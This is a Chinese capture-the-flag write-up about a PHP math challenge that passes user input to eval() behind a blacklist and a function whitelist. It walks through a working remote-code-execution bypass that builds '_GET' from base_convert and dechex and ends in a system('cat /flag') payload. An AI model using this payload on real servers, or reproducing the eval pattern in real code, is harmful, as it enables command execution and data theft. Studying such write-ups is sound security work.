源码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
最终目标通过下面这句话,执行语句system(“cat /flag”),涉及很多技巧,xuexiwp也仍然觉得难度挺大
eval('echo '.$content.';');
黑名单中禁止了引号"
,这一点利用动态函数的性质绕过,即字符串做函数名,加上括号即可被当作函数执行,如下:
c=($_GET[a])($_GET[b])&a=system&b=cat /flag
_GET通过白名单中的编码函数得到,PL如下
base_convert(37907361743,10,36)(dechex(1598506324))
1.base_convert(37907361743,10,36)=>“hex2bin”
2.dechex(1598506324)=>“5f474554”
3.hex2bin(“5f474554”)=>_GET
然后这段太长了需要用白名单中的变量保存一下,pi
最终PL
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
解释一下,$pi=_GET
,pi=system,cos=cat /flag
分号后面语句的$$pi
就是$_GET
翻译过来分号后面就是_GET{pi}(_GET{cos})&pi=system&cos=cat /flag